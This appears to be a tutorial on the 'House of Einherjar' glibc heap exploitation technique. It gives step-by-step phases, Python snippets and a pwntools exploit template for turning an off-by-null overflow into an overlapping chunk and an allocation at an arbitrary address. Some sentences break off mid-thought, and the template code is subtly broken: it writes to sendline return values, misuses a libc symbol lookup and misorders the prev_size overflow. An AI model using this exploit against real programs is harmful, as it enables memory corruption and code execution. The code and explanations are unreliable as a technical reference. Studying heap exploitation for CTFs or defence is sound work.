House of Einherjar Exploitation

A heap exploitation technique that allows allocating memory at almost any specific address by manipulating glibc's malloc allocator.

When to Use This

Use this technique when you have:

• An off-by-one overflow (specifically with null byte) from one chunk to the next
• A heap leak to discover chunk addresses
• Need to allocate at an arbitrary address (e.g., to overwrite function pointers, GOT entries, or achieve arbitrary write)

Core Concept

The attack creates a fake chunk that tricks malloc into thinking it's a valid free chunk, then uses consolidation to merge it with a real chunk, creating an overlapping chunk situation that enables arbitrary allocation.

Prerequisites

1. Off-by-one overflow with null byte capability
2. Heap leak to discover chunk addresses (required for fake chunk construction)
3. glibc 2.30+ with tcache enabled (or 2.26-2.29 with fastbin)

Attack Setup

Chunk Layout

┌─────────────────────────────────────────────────────────────┐
│ Chunk A (fake) - controlled by attacker                     │
│   fd → points to itself (bypass sanity checks)              │
│   bk → points to itself                                     │
│   size → matches prev_size of Chunk B                       │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk B - overflow target                                   │
│   [overflowable data]                                       │
│   size → normal size                                        │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk C - consolidation target                              │
│   [normal data]                                             │
│   size → normal size                                        │
└─────────────────────────────────────────────────────────────┘

Step-by-Step Attack

Phase 1: Create Fake Chunk

1. Allocate Chunk A (attacker-controlled)
2. Write fake chunk metadata inside Chunk A:

   • fd

     pointer → points to Chunk A itself

   • bk

     pointer → points to Chunk A itself

   • size

     → will be set in Phase 2

# Example: Create fake chunk in Chunk A
fake_chunk_addr = chunk_a_addr + offset_to_fake_metadata
fake_chunk = p64(fake_chunk_addr)  # fd
fake_chunk += p64(fake_chunk_addr)  # bk
fake_chunk += p64(fake_size)        # size (will match prev_size)

Phase 2: Prepare Consolidation

1. Allocate Chunks B and C after Chunk A
2. Trigger off-by-one overflow in Chunk B:
   • Overwrite the null byte at end of Chunk B
   • This clears the

     PREV_INUSE

     bit in Chunk C's header
   • Overwrite

     prev_size

     with:

     chunk_c_addr - fake_chunk_addr

# Calculate prev_size for off-by-one
prev_size = chunk_c_addr - fake_chunk_addr

# Overflow Chunk B to set prev_size
overflow_data = b'A' * (chunk_b_size - 1)  # Fill to null byte
overflow_data += p64(prev_size)            # Overwrite prev_size
overflow_data += b'\x00'                   # The null byte overflow

Critical: The

prev_size

size

Phase 3: Fill Tcache

1. Fill tcache by allocating and freeing chunks (typically 7 times for tcache limit)
2. This ensures Chunk C goes to unsorted bin when freed, not tcache

# Fill tcache (7 iterations for glibc 2.30+)
for i in range(7):
    alloc_chunk()
    free_chunk()

Phase 4: Trigger Consolidation

1. Free Chunk C
2. malloc will consolidate Chunk C with the fake Chunk A (because PREV_INUSE is cleared)
3. This creates a merged chunk starting at fake Chunk A's address

free(chunk_c)
# Now fake_chunk + chunk_c are merged

Phase 5: Create Overlapping Chunk

1. Allocate Chunk D - this will start at fake Chunk A's address and cover Chunk B
2. Chunk D now overlaps with Chunk B, giving you control over Chunk B's metadata

chunk_d = malloc(fake_chunk_size + chunk_c_size)
# chunk_d starts at fake_chunk_addr and covers chunk_b

Phase 6: Arbitrary Allocation (Optional Extension)

Now you can extend this with fast bin attack or tcache poisoning:

1. Free Chunk B (now controlled via Chunk D overlap)
2. Overwrite Chunk B's fd pointer to point to target address
3. Allocate twice - second allocation returns target address

# Overwrite fd pointer via Chunk D overlap
chunk_d[fd_offset] = p64(target_address)

free(chunk_b)  # Goes to fastbin/tcache with poisoned fd

malloc()       # Dummy allocation
chunk_at_target = malloc()  # Returns target_address!

Common Pitfalls

prev_size

Example Exploit Template

from pwn import *

# Setup
context.arch = 'amd64'
context.os = 'linux'

# Get heap leak (required)
heap_addr = get_heap_leak()

# Calculate addresses
chunk_a = heap_addr + 0x20
chunk_b = chunk_a + 0x30
chunk_c = chunk_b + 0x30
fake_chunk = chunk_a + 0x10  # Inside chunk A

# Phase 1: Create fake chunk
sendline(b'A' * 0x10 + p64(fake_chunk) + p64(fake_chunk) + p64(0x20))

# Phase 2: Off-by-one overflow
prev_size = chunk_c - fake_chunk
sendline(b'B' * 0x2f + p64(prev_size) + b'\x00')

# Phase 3: Fill tcache
for _ in range(7):
    sendline(b'X' * 0x20)
    sendline(b'free')

# Phase 4: Free C to consolidate
sendline(b'C' * 0x20)
sendline(b'free')

# Phase 5: Allocate D (overlapping)
chunk_d = sendline(b'D' * 0x50)

# Phase 6: Poison and allocate at target
target = libc.sym['system'].address
chunk_d[0x10] = p64(target)  # Overwrite fd
sendline(b'free')
sendline(b'alloc')  # dummy
shell = sendline(b'alloc')  # at target!

References

• how2heap - House of Einherjar
• GuyInATuxedo - House of Einherjar
• CTF Wiki - House of Einherjar

Related Techniques

• House of Force - Overwrite top chunk for arbitrary allocation
• Unsorted Bin Attack - Similar consolidation technique
• Tcache Poisoning - Poison tcache fd pointers
• Fastbin Attack - Poison fastbin fd pointers

Debugging Tips

1. Use GDB with heap visualization:

   gdb ./binary
   (gdb) heap analyze
   (gdb) x/20gx 0x[chunk_address]
   

2. Check chunk metadata:

   • size & 0x1

     = PREV_INUSE flag

   • size & 0x2

     = IS_MMAPPED flag

   • size & 0x4

     = NON_MAIN_ARENA flag

3. Verify consolidation:

   • After freeing Chunk C, check if fake chunk was merged
   • Look for enlarged chunk size in heap dump